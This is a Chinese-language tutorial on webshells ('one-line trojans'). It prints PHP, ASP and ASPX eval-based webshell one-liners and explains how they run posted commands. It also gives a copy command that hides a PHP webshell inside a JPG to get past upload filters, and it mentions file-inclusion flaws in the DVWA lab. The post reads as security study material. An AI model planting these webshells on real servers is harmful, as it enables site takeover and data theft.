何为木马?
所谓木马,即向目标主机种植恶意软件或程序(木马),通过主机与目标主机上种植好的木马进行连接,建立一个shell,达到控制目标主机的目的。
比较著名的木马有冰河、灰鸽子等,这些木马都是对主机进行控制。
今天总结的一句话木马,是通过对目标站点、服务器植入木马文件,对网站进行渗透控制。
通常对网站的木马文件植入,都是利用文件上传漏洞进行植入的,先植入小马,再通过小马将大马植入。
小马
小马一般指语句短少,命令简单的语句,也可以认为小马就是一句话木马。
常见的一句话木马有:
php
<?php @eval($_POST[hack]);?>
asp
<%eval request ("hack")%>
aspx
<%@ Page Language="Jscript"%> <%eval(Request.Item["hack"],"unsafe");%>
原理:
以 asp 的一句话木马为例,<?php @eval($_POST[hack]);?>
语句能作为木马,其原理是利用 php 中的 eval 函数,将传入的任何语句作为 php 语句执行,因此当传入该木马时,通过访问该文件,以 post 方式传入参数,eval 函数再将接收的语句作为 php 语句执行,这就构成了连接。
其中 hack 是一个变量名,用来接收语句,也可以称之为密码。
@ 在php中的作用是抑制错误提示。
例如:
加入已植入该木马,使用 POST 方式接收参数 phpinfo(),再通过 eval 将其作为php语句执行,就查看了站点的 php 信息。
大马
小马简单,但是功能较少,一般只具有上传文件的功能,因此在小马的基础上就有了大马。
大马较为复杂,功能也较多,可以对网站进行控制、窃取服务器等,但是容易被检测出来。
因此大马一般是在小马成功连接后上传进去的。
但是如今在菜刀、蚁剑等软件的加持下,小马可实现的功能也颇为丰富。
图片马
一般直接上传木马文件都会被过滤拦截,这时候就需要用到图片马。
所谓图片马,就是将一句话木马与图片相结合,使得图片中包含代码。
制作方法:
一个正常图片,一个木马文件,内容为php一句话木马
使用语句:copy pic.jpg/b + php木马.php/a webshell.jpg
生成图片马
- /b 表示以二进制方式打开
- /a 表示以ASCII方式打
如:
该图片是一个普通的jpg文件,使用编辑器打开:
毫无特征,当将php语句与该图片结合后,生成新文件webshell.jpg,依然是一个图片:
使用编辑器打开:
可以看到在文件末尾有此前的一句话木马,这就制作成功了。
注:
单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马。
所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。
比如在DVWA中的 low等级文件包含,此时调用了另一个文件 file1.php
查看其源代码,未进行任何过滤:
再查看其中等难度源代码:
查看其高等难度源代码:
对于一句话木马就总结到此。
文件包含只做简单阐述。